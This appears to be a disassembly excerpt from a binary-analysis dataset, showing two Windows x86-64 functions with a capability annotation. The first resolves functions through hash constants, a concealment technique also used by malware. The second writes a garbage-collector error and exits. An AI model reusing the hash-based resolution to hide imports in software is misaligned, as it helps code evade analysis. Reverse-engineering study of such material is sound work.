cmp r12, r8
jne 0x402620
xor esi, esi
test ebx, ebx
je 0x402704
mov rcx, qword [0x0048aca0]
lea rbx, [rsp + 0x30]
mov edx, 0x6a9298d8
call fcn.00402520
mov edx, 0x7a596b88
mov rcx, rax
call fcn.004022b0
mov rax, qword [0x0048ab10]
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x28], 0
call qword [rax]
mov rax, qword [0x0048ab00]
xor edx, edx
xor ecx, ecx
lea r9, [rsp + 0x28]
mov r8, rbx
call qword [rax]
test eax, eax
jne 0x402704
mov rsi, qword [rsp + 0x28]
jmp 0x402704
mov rsi, qword [r8 + 0x20]
mov rax, rsi
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x402b40
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, 2
call qword [fcn.00413fa0]
mov r8d, 0x4b
mov edx, 1
lea rcx, str._GC__cannot_register_thread_local_variable__too_many_thread_local_variables
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fflush
mov ecx, 1
call sub.msvcrt.dll_exit
nop